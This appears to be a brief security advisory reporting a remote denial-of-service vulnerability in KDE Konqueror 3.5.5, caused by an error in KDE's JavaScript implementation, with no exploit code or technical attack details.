KDE Konqueror is prone to a remote denial-of-service vulnerability because of an error in KDE's JavaScript implementation.
An attacker may exploit this vulnerability to cause Konquerer to crash, resulting in denial-of-service conditions.
Konqueror included with KDE version 3.5.5 is vulnerable; other versions may also be affected.
